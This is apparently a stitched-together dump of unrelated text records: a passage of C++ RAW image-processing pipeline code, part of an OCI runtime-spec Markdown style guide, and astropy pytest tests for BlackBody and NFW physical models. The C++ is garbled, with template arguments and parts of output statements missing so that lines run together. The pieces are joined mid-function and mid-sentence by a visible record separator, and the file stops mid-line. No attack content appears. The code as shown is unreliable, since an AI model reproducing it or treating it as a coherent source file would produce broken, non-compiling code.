new_raw_hl_reco();\n lensfun = new_lensfun();\n raw_output = new_raw_output();\n hotpixels = new_hotpixels();\n convert_format = new_convert_format();\n\tfor(int ifcs = 0; ifcs < 4; ifcs++) \n\t\tfcs[ifcs] = new_false_color_correction();\n\n map_properties( raw_preprocessor->get_par()->get_properties() );\n map_properties( ca_correct->get_par()->get_properties() );\n map_properties( raw_output->get_par()->get_properties() );\n map_properties( hotpixels->get_par()->get_properties() );\n map_properties( lensfun->get_par()->get_properties() );\n\n set_type(\"raw_developer_v2\" );\n\n set_default_name( _(\"RAW developer\") );\n}\n\n\nbool PF::RawDeveloperPar::is_editing_locked()\n{\n PF::wb_mode_t wbmode = get_wb_mode();\n if( (wbmode == WB_SPOT) || (wbmode == WB_COLOR_SPOT) || (wbmode == WB_AREA_SPOT) )\n return true;\n return false;\n}\n\n\n\nPF::wb_mode_t PF::RawDeveloperPar::get_wb_mode()\n{\n PF::wb_mode_t result = PF::WB_CAMERA;\n PF::RawPreprocessorPar* par = dynamic_cast( raw_preprocessor->get_par() );\n if( par ) result = par->get_wb_mode();\n return result;\n}\n\n\nvoid PF::RawDeveloperPar::set_wb(float r, float g, float b)\n{\n PF::RawPreprocessorPar* par = dynamic_cast( raw_preprocessor->get_par() );\n if( par ) par->set_wb(r,g,b);\n}\n\n\nvoid PF::RawDeveloperPar::add_wb_area(std::vector& area)\n{\n PF::RawPreprocessorPar* par = dynamic_cast( raw_preprocessor->get_par() );\n g_assert( par != NULL );\n return par->add_wb_area(area);\n}\n\n\nstd::vector< std::vector >& PF::RawDeveloperPar::get_wb_areas()\n{\n PF::RawPreprocessorPar* par = dynamic_cast( raw_preprocessor->get_par() );\n g_assert( par != NULL );\n return par->get_wb_areas();\n}\n\n\nint PF::RawDeveloperPar::get_hotp_fixed()\n{\n int result = 0;\n PF::HotPixelsPar* par = dynamic_cast( hotpixels->get_par() );\n if( par ) result = par->get_pixels_fixed();\n return result;\n}\n\nvoid PF::RawDeveloperPar::get_wb(float* mul)\n{\n PF::RawPreprocessorPar* par = dynamic_cast( raw_preprocessor->get_par() );\n if( par ) {\n mul[0] = par->get_wb_red();\n mul[1] = par->get_wb_green();\n mul[2] = par->get_wb_blue();\n }\n}\n\n\nstd::string PF::RawDeveloperPar::get_lf_maker()\n{\n std::string result;\n LensFunPar* lfpar = dynamic_cast( lensfun->get_par() );\n if( !lfpar ) {\n std::cout<<\"RawDeveloperPar::build(): could not get LensFunPar object.\"<camera_maker();\n}\n\n\nstd::string PF::RawDeveloperPar::get_lf_model()\n{\n std::string result;\n LensFunPar* lfpar = dynamic_cast( lensfun->get_par() );\n if( !lfpar ) {\n std::cout<<\"RawDeveloperPar::build(): could not get LensFunPar object.\"<camera_model();\n}\n\n\nstd::string PF::RawDeveloperPar::get_lf_lens()\n{\n std::string result;\n LensFunPar* lfpar = dynamic_cast( lensfun->get_par() );\n if( !lfpar ) {\n std::cout<<\"RawDeveloperPar::build(): could not get LensFunPar object.\"<lens();\n}\n\n\nVipsImage* PF::RawDeveloperPar::build(std::vector& in, int first, \n\t\t\t\t VipsImage* imap, VipsImage* omap, \n\t\t\t\t unsigned int& level)\n{\n if( (in.size()<1) || (in[0]==NULL) )\n return NULL;\n \n VipsImage* out_demo;\n std::vector in2;\n\n size_t blobsz;\n if( PF_VIPS_IMAGE_GET_BLOB( in[0], \"raw_image_data\", &image_data, &blobsz ) ) {\n std::cout<<\"RawDeveloperPar::build(): could not extract raw_image_data.\"<( lensfun->get_par() );\n if( !lfpar ) {\n std::cout<<\"RawDeveloperPar::build(): could not get LensFunPar object.\"<get_flags( in[0] );\n\n VipsImage* input_img = in[0];\n //std::cout<<\"RawDeveloperPar::build(): input_img->Bands=\"<Bands<Bands != 3 ) {\n raw_preprocessor->get_par()->set_image_hints( in[0] );\n raw_preprocessor->get_par()->set_format( VIPS_FORMAT_FLOAT );\n VipsImage* image = raw_preprocessor->get_par()->build( in, 0, NULL, NULL, level );\n //VipsImage* image = in[0]; PF_REF( image, \"\");\n if( !image )\n return NULL;\n\n VipsImage* out_ca = NULL;\n PF::ProcessorBase* demo = NULL;\n if( PF::check_xtrans(image_data->idata.filters) ) {\n out_ca = image;\n //PF_REF( out_ca, \"RawDeveloperPar::build(): in[0] ref for xtrans\");\n //demo = fast_demosaic_xtrans;\n demo = xtrans_demosaic;\n } else {\n in2.push_back( image );\n hotpixels->get_par()->set_image_hints( image );\n hotpixels->get_par()->set_format( VIPS_FORMAT_FLOAT );\n HotPixelsPar* hppar = dynamic_cast( hotpixels->get_par() );\n hppar->set_pixels_fixed( 0 );\n VipsImage* out_hotp = hotpixels->get_par()->build( in2, 0, NULL, NULL, level );\n g_object_unref( image );\n //VipsImage* out_hotp = image;\n\n CACorrectPar* capar = dynamic_cast( ca_correct->get_par() );\n if( !capar ) {\n std::cout<<\"RawDeveloperPar::build(): could not get CACorrectPar object.\"<set_enable_ca( false );\n capar->set_auto_ca( false );\n if( enable_tca.get() || enable_all.get() ) {\n switch(tca_method.get_enum_value().first) {\n case PF::PF_TCA_CORR_AUTO:\n capar->set_enable_ca( true );\n capar->set_auto_ca( true );\n break;\n case PF::PF_TCA_CORR_PROFILED_AUTO:\n if( (lf_modflags & LF_MODIFY_TCA) == 0) {\n capar->set_enable_ca( true );\n capar->set_auto_ca( true );\n }\n break;\n case PF::PF_TCA_CORR_MANUAL:\n capar->set_enable_ca( true );\n capar->set_auto_ca( false );\n break;\n default:\n break;\n }\n }\n\n in2.clear(); in2.push_back( out_hotp );\n ca_correct->get_par()->set_image_hints( out_hotp );\n ca_correct->get_par()->set_format( VIPS_FORMAT_FLOAT );\n out_ca = ca_correct->get_par()->build( in2, 0, NULL, NULL, level );\n g_object_unref( out_hotp );\n //VipsImage* out_ca = out_hotp;\n\n switch( demo_method.get_enum_value().first ) {\n case PF::PF_DEMO_FAST: demo = fast_demosaic; break;\n case PF::PF_DEMO_AMAZE: demo = amaze_demosaic; break;\n case PF::PF_DEMO_LMMSE: demo = lmmse_demosaic; break;\n case PF::PF_DEMO_IGV: demo = igv_demosaic; break;\n case PF::PF_DEMO_RCD: demo = rcd_demosaic; break;\n case PF::PF_DEMO_NONE: demo = no_demosaic; break;\n default: break;\n }\n //PF::ProcessorBase* demo = amaze_demosaic;\n //PF::ProcessorBase* demo = igv_demosaic;\n //PF::ProcessorBase* demo = fast_demosaic;\n }\n if( !demo ) return NULL;\n in2.clear(); in2.push_back( out_ca );\n demo->get_par()->set_image_hints( out_ca );\n demo->get_par()->set_format( VIPS_FORMAT_FLOAT );\n out_demo = demo->get_par()->build( in2, 0, NULL, NULL, level );\n g_object_unref( out_ca );\n\n for(int ifcs = 0; ifcs < VIPS_MIN(fcs_steps.get(),4); ifcs++) {\n VipsImage* temp = out_demo;\n in2.clear(); in2.push_back( temp );\n fcs[ifcs]->get_par()->set_image_hints( temp );\n\t\t\tfcs[ifcs]->get_par()->set_format( VIPS_FORMAT_FLOAT );\n\t\t\tout_demo = fcs[ifcs]->get_par()->build( in2, 0, NULL, NULL, level );\n\t\t\tPF_UNREF( temp, \"RawDeveloperPar::build(): temp unref\");\n\t\t}\n } else {\n raw_preprocessor->get_par()->set_image_hints( in[0] );\n raw_preprocessor->get_par()->set_format( VIPS_FORMAT_FLOAT );\n VipsImage* image = raw_preprocessor->get_par()->build( in, 0, NULL, NULL, level );\n if( !image )\n return NULL;\n \n out_demo = image;\n }\n\n\n\n RawPreprocessorPar* rppar = dynamic_cast( raw_preprocessor->get_par() );\n\n RawHLRecoPar* hlpar = dynamic_cast( hl_reco->get_par() );\n if( !hlpar ) {\n std::cout<<\"RawDeveloperPar::build(): could not get RawHLReco object.\"<get_wb_mode() ) {\n case WB_SPOT:\n case WB_COLOR_SPOT:\n hlpar->set_wb( rppar->get_wb_red(),\n rppar->get_wb_green(),\n rppar->get_wb_blue() );\n break;\n default:\n hlpar->set_wb( rppar->get_wb_red()*rppar->get_camwb_corr_red(),\n rppar->get_wb_green()*rppar->get_camwb_corr_green(),\n rppar->get_wb_blue()*rppar->get_camwb_corr_blue() );\n break;\n }\n }\n hlpar->set_hlreco_mode((hlreco_mode_t)hlreco_mode.get_enum_value().first);\n hlpar->set_image_hints(out_demo);\n hlpar->set_format( VIPS_FORMAT_FLOAT );\n in2.clear(); in2.push_back( out_demo );\n VipsImage* out_hl = hlpar->build( in2, 0, NULL, NULL, level );\n g_object_unref( out_demo );\n\n\n /**/\n lensfun->get_par()->set_image_hints( out_hl );\n lensfun->get_par()->set_format( VIPS_FORMAT_FLOAT );\n lfpar->set_auto_crop_enabled( auto_crop.get() );\n lfpar->set_vignetting_enabled( enable_vignetting.get() || enable_all.get() );\n lfpar->set_distortion_enabled( enable_distortion.get() || enable_all.get() );\n lfpar->set_tca_enabled( false );\n if( enable_tca.get() || enable_all.get() ) {\n switch(tca_method.get_enum_value().first) {\n case PF::PF_TCA_CORR_PROFILED:\n lfpar->set_tca_enabled( true );\n break;\n case PF::PF_TCA_CORR_PROFILED_AUTO:\n if( lf_modflags & LF_MODIFY_TCA )\n lfpar->set_tca_enabled( true );\n break;\n default:\n break;\n }\n }\n in2.clear(); in2.push_back( out_hl );\n VipsImage* out_lf = lensfun->get_par()->build( in2, 0, NULL, NULL, level );\n g_object_unref( out_hl );\n\n\n raw_output->get_par()->set_image_hints( out_lf );\n raw_output->get_par()->set_format( VIPS_FORMAT_FLOAT );\n RawOutputPar* ropar = dynamic_cast( raw_output->get_par() );\n if( rppar && ropar ) {\n switch( rppar->get_wb_mode() ) {\n case WB_SPOT:\n case WB_COLOR_SPOT:\n ropar->set_wb( rppar->get_wb_red(),\n rppar->get_wb_green(),\n rppar->get_wb_blue() );\n break;\n default:\n ropar->set_wb( rppar->get_wb_red()*rppar->get_camwb_corr_red(),\n rppar->get_wb_green()*rppar->get_camwb_corr_green(),\n rppar->get_wb_blue()*rppar->get_camwb_corr_blue() );\n break;\n }\n rppar->set_hlreco_mode( (hlreco_mode_t)hlreco_mode.get_enum_value().first );\n ropar->set_hlreco_mode( (hlreco_mode_t)hlreco_mode.get_enum_value().first );\n }\n //ropar->set_output_gain(lfpar->get_gain_vignetting());\n\n in2.clear(); in2.push_back( out_lf );\n VipsImage* out = raw_output->get_par()->build( in2, 0, NULL, NULL, level );\n g_object_unref( out_lf );\n /**/\n\n //VipsImage* gamma_in = out_demo;\n VipsImage* gamma_in = out;\n VipsImage* gamma = gamma_in;\n /*\n if( vips_gamma(gamma_in, &gamma, \"exponent\", (float)(2.2), NULL) ) {\n g_object_unref(gamma_in);\n return NULL;\n }\n */\n\n /*\n void *data;\n size_t data_length;\n cmsHPROFILE profile_in;\n if( gamma ) {\n if( !vips_image_get_blob( gamma, VIPS_META_ICC_NAME, \n &data, &data_length ) ) {\n \n profile_in = cmsOpenProfileFromMem( data, data_length );\n if( profile_in ) {\n char tstr[1024];\n cmsGetProfileInfoASCII(profile_in, cmsInfoDescription, \"en\", \"US\", tstr, 1024);\n std::cout<<\"RawDeveloper::build(): convert_format input profile: \"< in3;\n in3.push_back( gamma );\n convert_format->get_par()->set_image_hints( gamma );\n convert_format->get_par()->set_format( get_format() );\n out2 = convert_format->get_par()->build( in3, 0, NULL, NULL, level );\n g_object_unref( gamma );\n\n\n //std::cout<<\"RawDeveloperPar::build(): before vips_resize()\"< 0 ) {\n float scale = 1;\n for(unsigned int l = 0; l < level; l++) scale /= 2;\n VipsKernel kernel = VIPS_KERNEL_CUBIC;\n if( vips_resize(out2, &scaled, scale, \"kernel\", kernel, NULL) ) {\n std::cout<<\"RawDeveloperPar::build(): vips_resize() failed.\"< integer hoops to support an 0x\u2026 form ([source][integer-over-hex]).\n\n## Constant names should keep redundant prefixes\n\nFor example, `CAP_KILL` instead of `KILL` in [**`linux.capabilities`**][capabilities].\nThe redundancy reduction from removing the namespacing prefix is not useful enough to be worth trimming the upstream identifier ([source][keep-prefix]).\n\n## Optional settings should have pointer Go types\n\nSo we have a consistent way to identify unset values ([source][optional-pointer]).\nThe exceptions are entries where the Go default for the type is a no-op in the spec, in which case `omitempty` is sufficient and no pointer is needed (sources [here][no-pointer-for-slices], [here][no-pointer-for-boolean], and [here][pointer-when-updates-require-changes]).\n\n## Examples\n\n### Anchoring\n\nFor any given section that provides a notable example, it is ideal to have it denoted with [markdown headers][markdown-headers].\nThe level of header should be such that it is a subheader of the header it is an example of.\n\n#### Example\n\n```markdown\n## Some Topic\n\n### Some Subheader\n\n#### Further Subheader\n\n##### Example\n\nTo use Further Subheader, ...\n\n### Example\n\nTo use Some Topic, ...\n\n```\n\n### Content\n\nWhere necessary, the values in the example can be empty or unset, but accommodate with comments regarding this intention.\n\nWhere feasible, the content and values used in an example should convey the fullest use of the data structures concerned.\nMost commonly onlookers will intend to copy-and-paste a \"working example\".\nIf the intention of the example is to be a fully utilized example, rather than a copy-and-paste example, perhaps add a comment as such.\n\n```markdown\n### Example\n```\n```json\n{\n \"foo\": null,\n \"bar\": \"\"\n}\n```\n\n**vs.**\n\n```markdown\n### Example\n\nFollowing is a fully populated example (not necessarily for copy/paste use)\n```\n```json\n{\n \"foo\": [\n 1,\n 2,\n 3\n ],\n \"bar\": \"waffles\",\n \"bif\": {\n \"baz\": \"potatoes\"\n }\n}\n```\n\n[capabilities]: config-linux.md#capabilities\n[class-id]: config-linux.md#network\n[integer-over-hex]: https://github.com/opencontainers/runtime-spec/pull/267#discussion_r48360013\n[keep-prefix]: https://github.com/opencontainers/runtime-spec/pull/159#issuecomment-138728337\n[no-pointer-for-boolean]: https://github.com/opencontainers/runtime-spec/pull/290#discussion_r50296396\n[no-pointer-for-slices]: https://github.com/opencontainers/runtime-spec/pull/316/files#r50782982\n[optional-pointer]: https://github.com/opencontainers/runtime-spec/pull/233#discussion_r47829711\n[pointer-when-updates-require-changes]: https://github.com/opencontainers/runtime-spec/pull/317/files#r50932706\n[markdown-headers]: https://help.github.com/articles/basic-writing-and-formatting-syntax/#headings\n"} -{"text": "# Licensed under a 3-clause BSD style license - see LICENSE.rst\n\"\"\"Tests for physical functions.\"\"\"\n# pylint: disable=no-member, invalid-name\nimport pytest\nimport numpy as np\n\nfrom astropy.modeling.physical_models import BlackBody, NFW\nfrom astropy.modeling.fitting import LevMarLSQFitter\n\nfrom astropy.tests.helper import assert_quantity_allclose\nfrom astropy import units as u\nfrom astropy.utils.exceptions import AstropyUserWarning\nfrom astropy import cosmology\n\ntry:\n from scipy import optimize, integrate # noqa\n\n HAS_SCIPY = True\nexcept ImportError:\n HAS_SCIPY = False\n\n__doctest_skip__ = [\"*\"]\n\n\n# BlackBody tests\n\n\n@pytest.mark.parametrize(\"temperature\", (3000 * u.K, 2726.85 * u.deg_C))\ndef test_blackbody_evaluate(temperature):\n\n b = BlackBody(temperature=temperature, scale=1.0)\n\n assert_quantity_allclose(b(1.4 * u.micron), 486787299458.15656 * u.MJy / u.sr)\n assert_quantity_allclose(b(214.13747 * u.THz), 486787299458.15656 * u.MJy / u.sr)\n\n\ndef test_blackbody_weins_law():\n b = BlackBody(293.0 * u.K)\n assert_quantity_allclose(b.lambda_max, 9.890006672986939 * u.micron)\n assert_quantity_allclose(b.nu_max, 17.22525080856469 * u.THz)\n\n\ndef test_blackbody_sefanboltzman_law():\n b = BlackBody(293.0 * u.K)\n assert_quantity_allclose(b.bolometric_flux, 133.02471751812573 * u.W / (u.m * u.m))\n\n\ndef test_blackbody_return_units():\n # return of evaluate has no units when temperature has no units\n b = BlackBody(1000.0 * u.K, scale=1.0)\n assert not isinstance(b.evaluate(1.0 * u.micron, 1000.0, 1.0), u.Quantity)\n\n # return has \"standard\" units when scale has no units\n b = BlackBody(1000.0 * u.K, scale=1.0)\n assert isinstance(b(1.0 * u.micron), u.Quantity)\n assert b(1.0 * u.micron).unit == u.erg / (u.cm ** 2 * u.s * u.Hz * u.sr)\n\n # return has scale units when scale has units\n b = BlackBody(1000.0 * u.K, scale=1.0 * u.MJy / u.sr)\n assert isinstance(b(1.0 * u.micron), u.Quantity)\n assert b(1.0 * u.micron).unit == u.MJy / u.sr\n\n\n@pytest.mark.skipif(\"not HAS_SCIPY\")\ndef test_blackbody_fit():\n\n fitter = LevMarLSQFitter()\n\n b = BlackBody(3000 * u.K, scale=5e-17 * u.Jy / u.sr)\n\n wav = np.array([0.5, 5, 10]) * u.micron\n fnu = np.array([1, 10, 5]) * u.Jy / u.sr\n\n b_fit = fitter(b, wav, fnu, maxiter=1000)\n\n assert_quantity_allclose(b_fit.temperature, 2840.7438355865065 * u.K)\n assert_quantity_allclose(b_fit.scale, 5.803783292762381e-17 * u.Jy / u.sr)\n\n\ndef test_blackbody_overflow():\n \"\"\"Test Planck function with overflow.\"\"\"\n photlam = u.photon / (u.cm ** 2 * u.s * u.AA)\n wave = [0.0, 1000.0, 100000.0, 1e55] # Angstrom\n temp = 10000.0 # Kelvin\n bb = BlackBody(temperature=temp * u.K, scale=1.0)\n with pytest.warns(\n AstropyUserWarning,\n match=r'Input contains invalid wavelength/frequency value\\(s\\)'):\n with np.errstate(all=\"ignore\"):\n bb_lam = bb(wave) * u.sr\n flux = bb_lam.to(photlam, u.spectral_density(wave * u.AA)) / u.sr\n\n # First element is NaN, last element is very small, others normal\n assert np.isnan(flux[0])\n with np.errstate(all=\"ignore\"):\n assert np.log10(flux[-1].value) < -134\n np.testing.assert_allclose(\n flux.value[1:-1], [0.00046368, 0.04636773], rtol=1e-3\n ) # 0.1% accuracy in PHOTLAM/sr\n with np.errstate(all=\"ignore\"):\n flux = bb(1.0 * u.AA)\n assert flux.value == 0\n\n\ndef test_blackbody_exceptions_and_warnings():\n \"\"\"Test exceptions.\"\"\"\n\n # Negative temperature\n with pytest.raises(ValueError) as exc:\n bb = BlackBody(-100 * u.K)\n bb(1.0 * u.micron)\n assert exc.value.args[0] == \"Temperature should be positive: [-100.] K\"\n\n bb = BlackBody(5000 * u.K)\n\n # Zero wavelength given for conversion to Hz\n with pytest.warns(AstropyUserWarning, match='invalid') as w:\n bb(0 * u.AA)\n assert len(w) == 3 # 2 of these are RuntimeWarning from zero divide\n\n # Negative wavelength given for conversion to Hz\n with pytest.warns(AstropyUserWarning, match='invalid') as w:\n bb(-1.0 * u.AA)\n assert len(w) == 1\n\n # Test that a non surface brightness converatable scale unit\n with pytest.raises(ValueError) as exc:\n bb = BlackBody(5000 * u.K, scale=1.0 * u.Jy)\n bb(1.0 * u.micron)\n assert exc.value.args[0] == \"scale units not surface brightness: Jy\"\n\n\ndef test_blackbody_array_temperature():\n \"\"\"Regression test to make sure that the temperature can be an array.\"\"\"\n multibb = BlackBody([100, 200, 300] * u.K)\n flux = multibb(1.2 * u.mm)\n np.testing.assert_allclose(\n flux.value, [1.804908e-12, 3.721328e-12, 5.638513e-12], rtol=1e-5\n )\n\n flux = multibb([2, 4, 6] * u.mm)\n np.testing.assert_allclose(\n flux.value, [6.657915e-13, 3.420677e-13, 2.291897e-13], rtol=1e-5\n )\n\n multibb = BlackBody(np.ones(4) * u.K)\n flux = multibb(np.ones((3, 4)) * u.mm)\n assert flux.shape == (3, 4)\n\n\n@pytest.mark.parametrize(\"mass\", (2.0000000000000E15 * u.M_sun, 3.976819741e+45 * u.kg))\ndef test_NFW_evaluate(mass):\n \"\"\"Evalution, density, and radii validation of NFW model.\"\"\"\n # Test parameters\n concentration = 8.5\n redshift = 0.63\n cosmo = cosmology.Planck15\n\n # Parsec tests\n # 200c Overdensity\n massfactor = (\"critical\", 200)\n\n n200c = NFW(mass=mass, concentration=concentration, redshift=redshift, cosmo=cosmo,\n massfactor=massfactor)\n assert_quantity_allclose(n200c(3.0 * u.Mpc), (3.709693508e+12 * (u.solMass / u.Mpc ** 3),\n 7.376391187e+42 * (u.kg / u.Mpc ** 3)))\n assert_quantity_allclose(n200c.rho_scale, (7800150779863018.0 * (u.solMass / u.Mpc ** 3)))\n assert_quantity_allclose(n200c.r_s, (0.24684627641195428 * u.Mpc))\n assert_quantity_allclose(n200c.r_virial, (2.0981933495016114 * u.Mpc))\n\n # 200m Overdensity\n massfactor = (\"mean\", 200)\n\n n200m = NFW(mass=mass, concentration=concentration, redshift=redshift, cosmo=cosmo,\n massfactor=massfactor)\n assert_quantity_allclose(n200m(3.0 * u.Mpc), (3.626093406e+12 * (u.solMass / u.Mpc**3),\n 7.210159921e+42 * (u.kg / u.Mpc**3)))\n assert_quantity_allclose(n200m.rho_scale, (5118547639858115.0 * (u.solMass / u.Mpc ** 3)))\n assert_quantity_allclose(n200m.r_s, (0.2840612517326848 * u.Mpc))\n assert_quantity_allclose(n200m.r_virial, (2.414520639727821 * u.Mpc))\n\n # Virial mass\n massfactor = (\"virial\")\n\n nvir = NFW(mass=mass, concentration=concentration, redshift=redshift, cosmo=cosmo,\n massfactor=massfactor)\n assert_quantity_allclose(nvir(3.0 * u.Mpc), (3.646475546e+12 * (u.solMass / u.Mpc**3),\n 7.250687967e+42 * (u.kg / u.Mpc**3)))\n assert_quantity_allclose(nvir.rho_scale, (5649367524651067.0 * (u.solMass / u.Mpc ** 3)))\n assert_quantity_allclose(nvir.r_s, (0.2748701862303786 * u.Mpc))\n assert_quantity_allclose(nvir.r_virial, (2.3363965829582183 * u.Mpc))\n\n # kpc tests\n # 200c Overdensity\n massfactor = (\"critical\", 200)\n\n n200c = NFW(mass=mass, concentration=concentration, redshift=redshift, cosmo=cosmo,\n massfactor=massfactor)\n assert_quantity_allclose(n200c(3141 * u.kpc), (3254.373619264334 * (u.solMass / u.kpc ** 3),\n 6.471028627484543e+33 * (u.kg / u.kpc ** 3)))\n assert_quantity_allclose(n200c.rho_scale, (7800150.779863021 * (u.solMass / u.kpc ** 3)))\n assert_quantity_allclose(n200c.r_s, (246.84627641195425 * u.kpc))\n assert_quantity_allclose(n200c.r_virial, (2098.193349501611 * u.kpc))\n\n # 200m Overdensity\n massfactor = (\"mean\", 200)\n\n n200m = NFW(mass=mass, concentration=concentration, redshift=redshift, cosmo=cosmo,\n massfactor=massfactor)\n assert_quantity_allclose(n200m(3141 * u.kpc), (3184.0370866188623 * (u.solMass / u.kpc**3),\n 6.33117077170161e+33 * (u.kg / u.kpc**3)))\n assert_quantity_allclose(n200m.rho_scale, (5118547.639858116 * (u.solMass / u.kpc ** 3)))\n assert_quantity_allclose(n200m.r_s, (284.0612517326848 * u.kpc))\n assert_quantity_allclose(n200m.r_virial, (2414.5206397278207 * u.kpc))\n\n # Virial mass\n massfactor = (\"virial\")\n\n nvir = NFW(mass=mass, concentration=concentration, redshift=redshift, cosmo=cosmo,\n massfactor=massfactor)\n assert_quantity_allclose(nvir(3141 * u.kpc), (3201.1946851294997 * (u.solMass / u.kpc**3),\n 6.365287109937637e+33 * (u.kg / u.kpc**3)))\n assert_quantity_allclose(nvir.rho_scale, (5649367.5246510655 * (u.solMass / u.kpc ** 3)))\n assert_quantity_allclose(nvir.r_s, (274.87018623037864 * u.kpc))\n assert_quantity_allclose(nvir.r_virial, (2336.3965829582185 * u.kpc))\n\n # Meter tests\n # 200c Overdensity\n massfactor = (\"critical\", 200)\n\n n200c = NFW(mass=mass, concentration=concentration, redshift=redshift, cosmo=cosmo,\n massfactor=massfactor)\n assert_quantity_allclose(n200c(4.2e+23 * u.m), (1.527649658673012e-57 * (u.solMass / u.m ** 3),\n 3.0375936602739256e-27 * (u.kg / u.m ** 3)))\n assert_quantity_allclose(n200c.rho_scale, (2.654919529637763e-52 * (u.solMass / u.m ** 3)))\n assert_quantity_allclose(n200c.r_s, (7.616880211930209e+21 * u.m))\n assert_quantity_allclose(n200c.r_virial, (6.474348180140678e+22 * u.m))\n\n # 200m Overdensity\n massfactor = (\"mean\", 200)\n\n n200m = NFW(mass=mass, concentration=concentration, redshift=redshift, cosmo=cosmo,\n massfactor=massfactor)\n assert_quantity_allclose(n200m(4.2e+23 * u.m), (1.5194778058079436e-57 * (u.solMass / u.m ** 3),\n 3.0213446673751314e-27 * (u.kg / u.m ** 3)))\n assert_quantity_allclose(n200m.rho_scale, (1.742188385322371e-52 * (u.solMass / u.m ** 3)))\n assert_quantity_allclose(n200m.r_s, (8.76521436235054e+21 * u.m))\n assert_quantity_allclose(n200m.r_virial, (7.450432207997959e+22 * u.m))\n\n # Virial mass\n massfactor = (\"virial\")\n\n nvir = NFW(mass=mass, concentration=concentration, redshift=redshift, cosmo=cosmo,\n massfactor=massfactor)\n assert_quantity_allclose(nvir(4.2e+23 * u.m), (1.5214899184117633e-57 * (u.solMass / u.m ** 3),\n 3.0253455719375224e-27 * (u.kg / u.m ** 3)))\n assert_quantity_allclose(nvir.rho_scale, (1.922862338766335e-52 * (u.solMass / u.m ** 3)))\n assert_quantity_allclose(nvir.r_s, (8.481607714647913e+21 * u.m))\n assert_quantity_allclose(nvir.r_virial, (7.209366557450727e+22 * u.m))\n\n # Verify string input of overdensity type\n # 200c Overdensity\n massfactor = \"200c\"\n\n n200c = NFW(mass=mass, concentration=concentration, redshift=redshift, cosmo=cosmo,\n massfactor=massfactor)\n assert_quantity_allclose(n200c(3.0 * u.Mpc), (3.709693508e+12 * (u.solMass / u.Mpc ** 3),\n 7.376391187e+42 * (u.kg / u.Mpc ** 3)))\n\n # 200m Overdensity\n massfactor = \"200m\"\n\n n200m = NFW(mass=mass, concentration=concentration, redshift=redshift, cosmo=cosmo,\n massfactor=massfactor)\n assert_quantity_allclose(n200m(3.0 * u.Mpc), (3.626093406e+12 * (u.solMass / u.Mpc**3),\n 7.210159921e+42 * (u.kg / u.Mpc**3)))\n\n # Virial mass\n massfactor = \"virial\"\n\n nvir = NFW(mass=mass, concentration=concentration, redshift=redshift, cosmo=cosmo,\n massfactor=massfactor)\n assert_quantity_allclose(nvir(3.0 * u.Mpc), (3.646475546e+12 * (u.solMass / u.Mpc**3),\n 7.250687967e+42 * (u.kg / u.Mpc**3)))\n\n\n@pytest.mark.skipif(\"not HAS_SCIPY\")\ndef test_NFW_fit():\n \"\"\"Test linear fitting of NFW model.\"\"\"\n # Fixed parameters\n redshift = 0.63\n cosmo = cosmology.Planck15\n\n # Radial set\n r = np.array([1.00e+01, 1.00e+02, 2.00e+02, 2.50e+02, 3.00e+02, 4.00e+02, 5.00e+02,\n 7.50e+02, 1.00e+03, 1.50e+03, 2.50e+03, 6.50e+03, 1.15e+04]) * u.kpc\n\n # 200c Overdensity\n massfactor = (\"critical\", 200)\n\n density_r = np.array([1.77842761e+08, 9.75233623e+06, 2.93789626e+06, 1.90107238e+06,\n 1.30776878e+06, 7.01004140e+05, 4.20678479e+05, 1.57421880e+05,\n 7.54669701e+04, 2.56319769e+04, 6.21976562e+03, 3.96522424e+02,\n 7.39336808e+01]) * (u.solMass / u.kpc ** 3)\n\n fitter = LevMarLSQFitter()\n\n n200c = NFW(mass=1.8E15 * u.M_sun, concentration=7.0, redshift=redshift, cosmo=cosmo,\n massfactor=massfactor)\n n200c.redshift.fixed = True\n\n n_fit = fitter(n200c, r, density_r, maxiter=1000)\n\n assert_quantity_allclose(n_fit.mass, 2.0000000000000E15 * u.M_sun)\n assert_quantity_allclose(n_fit.concentration, 8.5)\n\n # 200m Overdensity\n massfactor = (\"mean\", 200)\n\n density_r = np.array([1.35677282e+08, 7.95392979e+06, 2.50352599e+06, 1.64535870e+06,\n 1.14642248e+06, 6.26805453e+05, 3.81691731e+05, 1.46294819e+05,\n 7.11559560e+04, 2.45737796e+04, 6.05459585e+03, 3.92183991e+02,\n 7.34674416e+01]) * (u.solMass / u.kpc ** 3)\n\n fitter = LevMarLSQFitter()\n\n n200m = NFW(mass=1.8E15 * u.M_sun, concentration=7.0, redshift=redshift, cosmo=cosmo,\n massfactor=massfactor)\n n200m.redshift.fixed = True\n\n n_fit = fitter(n200m, r, density_r, maxiter=1000)\n\n assert_quantity_allclose(n_fit.mass, 2.0000000000000E15 * u.M_sun)\n assert_quantity_allclose(n_fit.concentration, 8.5)\n\n # Virial mass\n massfactor = (\"virial\", 200)\n\n density_r = np.array([1.44573515e+08, 8.34873998e+06, 2.60137484e+06, 1.70348738e+06,\n 1.18337370e+06, 6.43994654e+05, 3.90800249e+05, 1.48930537e+05,\n 7.21856397e+04, 2.48289464e+04, 6.09477095e+03, 3.93248818e+02,\n 7.35821787e+01]) * (u.solMass / u.kpc ** 3)\n\n fitter = LevMarLSQFitter()\n\n nvir = NFW(mass=1.8E15 * u.M_sun, concentration=7.0, redshift=redshift, cosmo=cosmo,\n massfactor=massfactor)\n nvir.redshift.fixed = True\n\n n_fit = fitter(nvir, r, density_r, maxiter=1000)\n\n assert_quantity_allclose(n_fit.mass, 2.0000000000000E15 * u.M_sun)\n assert_quantity_allclose(n_fit.concentration, 8.5)\n\n\ndef test_NFW_circular_velocity():\n \"\"\"Test circular velocity and radial validation of NFW model.\"\"\"\n # Test parameters\n mass = 2.0000000000000E15 * u.M_sun\n concentration = 8.5\n redshift = 0.63\n cosmo = cosmology.Planck15\n\n r_r = np.array([0.01, 0.1, 0.2, 0.25, 0.3, 0.4, 0.5, 0.75, 1.0, 1.5, 2.5, 6.5, 11.5]) * u.Mpc\n\n # 200c Overdensity tests\n massfactor = (\"critical\", 200)\n\n n200c = NFW(mass=mass, concentration=concentration, redshift=redshift, cosmo=cosmo,\n massfactor=massfactor)\n circ_v_200c = np.array([702.45487454, 1812.4138346, 2150.50929296, 2231.5802568, 2283.96950242,\n 2338.45989696, 2355.78876772, 2332.41766543, 2276.89433811,\n 2154.53909153, 1950.07947819, 1512.37442943,\n 1260.94034541]) * (u.km / u.s)\n assert_quantity_allclose(n200c.circular_velocity(r_r), circ_v_200c)\n assert_quantity_allclose(n200c.r_max, (0.5338248204429641 * u.Mpc))\n assert_quantity_allclose(n200c.v_max, (2356.7204380904027 * (u.km / u.s)))\n\n # 200m Overdensity tests\n massfactor = 